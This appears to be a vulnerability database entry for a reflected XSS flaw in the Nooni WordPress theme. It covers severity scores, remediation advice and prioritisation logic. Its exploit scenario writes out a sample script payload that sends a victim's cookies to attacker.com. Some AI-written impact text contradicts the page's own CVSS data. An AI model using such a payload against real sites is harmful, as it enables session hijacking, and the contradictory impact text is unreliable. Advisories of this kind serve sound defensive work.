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Nooni CVE-2026-25353

| EUVDEUVD-2026-15669 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-03-25 Patchstack
7.1
CVSS 3.1 · NVD
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious URL with XSS payload
  2. Delivery
    Send link to victim user
  3. Exploit
    Victim clicks link in browser
  4. Execution
    Malicious script executes in victim's session
  5. Impact
    Attacker steals session cookies or performs actions as user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Reflected XSS vulnerability in skygroup Nooni versions before 1.5.1. Attacker crafts malicious URL containing unescaped input. Victim must click the link or visit the page in a web browser. Remote unauthenticated exploitation; no special configuration required.

Impact

While a CVSS score is not available for this vulnerability, the attack vector is clearly Network-based and likely has Low attack complexity given the reflected nature of the XSS—no authentication or user interaction complexity is indicated. The EUVD classification and Patchstack reporting indicate this is a confirmed, real vulnerability. Without CVSS or EPSS data, the real-world risk is moderate but should not be underestimated: Reflected XSS vulnerabilities are trivially exploitable and frequently automated by scanning tools. The vulnerability is not listed as actively exploited in known vulnerability databases (KEV status unknown), but this does not diminish the risk for unpatched installations. The primary mitigating factor is that exploitation requires user interaction (victim must click a malicious link), but the technical impact is significant—attackers can steal session cookies, perform actions as the victim, or redirect users to phishing pages. Organizations using Nooni versions below 1.5.1 should prioritize patching this vulnerability immediately.

Exploit ScenarioDerived

An attacker crafts a malicious URL containing a JavaScript payload in a query parameter, for example: https://vulnerable-site.com/?search=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>. The attacker sends this link via email, social engineering, or injects it into forum posts. When a site visitor clicks the link, the Nooni theme renders the page without properly escaping the search parameter, causing the JavaScript to execute in the victim's browser context. The attacker's script silently exfiltrates the victim's session cookies or other sensitive data, enabling account takeover. No proof-of-concept tool is required—this attack pattern is standard among web vulnerabilities and can be launched manually or via automated security scanning tools.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 25, 2026

A Reflected Cross-Site Scripting (XSS) vulnerability exists in the skygroup Nooni theme affecting versions prior to 1.5.1, allowing attackers to inject malicious scripts into web pages viewed by users. The vulnerability stems from improper neutralization of user input during web page generation, classified as CWE-79. Attackers can craft malicious URLs containing JavaScript payloads that execute in the context of a victim's browser when the link is visited, potentially leading to session hijacking, credential theft, or malware distribution.

RemediationAI

Upgrade the Nooni theme to version 1.5.1 or later immediately. The patch is available through the official WordPress theme repository or the theme vendor's distribution channel. Until patching is completed, website administrators should implement the following compensating controls: enable WordPress security plugins that filter malicious input patterns, implement a Web Application Firewall (WAF) configured to block common XSS payloads in query parameters, enforce a strict Content Security Policy (CSP) header limiting script execution to trusted sources, and disable the vulnerable theme from receiving traffic by temporarily switching to a patched theme. Additionally, audit access logs for signs of XSS exploitation attempts and consider implementing HTTP-only and Secure flags on session cookies to limit exposure if session hijacking is attempted. Refer to the Patchstack advisory (https://patchstack.com/database/Wordpress/Theme/nooni/vulnerability/wordpress-nooni-theme-1-5-1-reflected-cross-site-scripting-xss-vulnerability) for official patch notes and verification of successful remediation.

Affected VersionsENISA

Nooni n/a ≤< 1.5.1

Affected Packages

euvd nooni_n_a fix: 1.5.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

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Technical ContextAI · show details

The Nooni theme (identified via CPE cpe:2.3:a:skygroup:nooni:*:*:*:*:*:*:*:*) is a WordPress theme that fails to properly sanitize and escape user-supplied input before rendering it in HTML responses. This is a classic Reflected XSS vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation), where untrusted data from HTTP request parameters is directly inserted into the page without adequate validation or output encoding. The vulnerability likely affects theme template files that process query parameters, form submissions, or other user-controllable inputs without implementing proper input validation, output encoding, or Content Security Policy (CSP) protections. WordPress themes typically interact with the wp_kses() function for sanitization and esc_html() or similar escaping functions for output, which appear to be missing or improperly applied in affected versions.

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Severity by source

NVD PRIMARY 7.1 HIGH
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

Lifecycle Timeline

3
Analysis Updated
Apr 16, 2026 - 06:15 EUVD-patch-fix
executive summary
Patch available
Apr 16, 2026 - 05:29 EUVD
1.5.1
CVE Published
Mar 25, 2026 - 16:14 nvd
HIGH 7.1

DescriptionCVE.org

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in skygroup Nooni nooni allows Reflected XSS.This issue affects Nooni: from n/a through < 1.5.1.

Executive ViewAI

Why It Matters

A reflected XSS vulnerability in skygroup Nooni theme versions below 1.5.1 allows attackers to execute malicious scripts in user browsers through crafted URLs, creating risk of session hijacking and credential theft for organizations deploying this theme. This impacts any web properties using affected Nooni versions, requiring immediate user awareness and patching to prevent account compromise.

Business Impact: High
Compensating Controls

Apply vendor patch to Nooni theme version 1.5.1 or later. If immediate patching is not possible: implement strict Content Security Policy (CSP) headers to restrict inline script execution, deploy Web Application Firewall (WAF) rules to detect and block suspicious URL parameters, and restrict user access to trusted networks only while patch is pending.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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